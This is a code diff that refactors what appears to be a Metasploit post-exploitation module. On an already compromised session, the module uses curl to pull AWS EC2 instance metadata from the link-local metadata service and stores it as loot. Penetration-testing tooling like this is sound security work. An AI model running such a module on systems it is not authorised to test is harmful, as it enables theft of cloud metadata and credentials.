@@ -28,36 +28,28 @@ def initialize(info = {})
28
28
]
29
29
)
30
30
)
31
+
31
32
register_advanced_options (
32
33
[
33
34
OptString . new ( 'TARGETURI' , [ true , 'AWS EC2 Instance metadata URI' , 'http://169.254.169.254/latest/meta-data/ ' ] )
34
35
]
35
36
)
36
37
end
37
38
38
- def target_uri
39
- begin
40
- @target_uri ||= URI ( datastore [ 'TARGETURI' ] )
41
- rescue ::URI ::InvalidURIError
42
- print_error "Invalid URI: #{ datastore [ 'TARGETURI' ] . inspect } "
43
- raise Msf ::OptionValidateError . new ( [ 'TARGETURI' ] )
39
+ def check_aws_metadata
40
+ resp = simple_get ( @target_uri )
41
+ unless resp =~ /^instance-id.$/m
42
+ fail_with ( Failure ::BadConfig , "Session does not appear to be on an AWS EC2 instance" )
44
43
end
44
+ resp
45
45
end
46
46
47
47
def check_curl
48
- unless cmd_exec ( "curl --version" ) =~ %r{ ^curl \d }
48
+ unless cmd_exec ( "curl --version" ) =~ / ^curl \d /
49
49
fail_with ( Failure ::BadConfig , 'curl is not installed' )
50
50
end
51
51
end
52
52
53
- def check_aws_metadata
54
- resp = simple_get ( target_uri )
55
- unless resp =~ /^instance-id.$/m
56
- fail_with ( Failure ::BadConfig , "Session does not appear to be on an AWS EC2 instance" )
57
- end
58
- resp
59
- end
60
-
61
53
def get_aws_metadata ( base_uri , base_resp )
62
54
r = { }
63
55
base_resp . split ( /\r \n / ) . each do |l |
@@ -77,15 +69,10 @@ def get_aws_metadata(base_uri, base_resp)
77
69
r
78
70
end
79
71
80
- def simple_get ( url )
81
- vprint_status ( "Fetching #{ url } " )
82
- cmd_exec ( "curl #{ url } " )
83
- end
84
-
85
72
def run
86
73
check_curl
87
74
resp = check_aws_metadata
88
- metadata = get_aws_metadata ( target_uri , resp )
75
+ metadata = get_aws_metadata ( @ target_uri, resp )
89
76
metadata_json = JSON . pretty_generate ( metadata )
90
77
file = store_loot ( "aws.ec2.instance.metadata" , "text/json" , session , metadata_json , "aws_ec2_instance_metadata.json" , "AWS EC2 Instance Metadata" )
91
78
if datastore [ 'VERBOSE' ]
@@ -94,4 +81,17 @@ def run
94
81
end
95
82
print_good ( "Saved AWS EC2 instance metadata to to #{ file } " )
96
83
end
84
+
85
+ def setup
86
+ begin
87
+ @target_uri ||= URI ( datastore [ 'TARGETURI' ] )
88
+ rescue ::URI ::InvalidURIError
89
+ fail_with ( Failure ::BadConfig , "Invalid TARGETURI: #{ datastore [ 'TARGETURI' ] } " )
90
+ end
91
+ end
92
+
93
+ def simple_get ( url )
94
+ vprint_status ( "Fetching #{ url } " )
95
+ cmd_exec ( "curl #{ url } " )
96
+ end
97
97
end
0 commit comments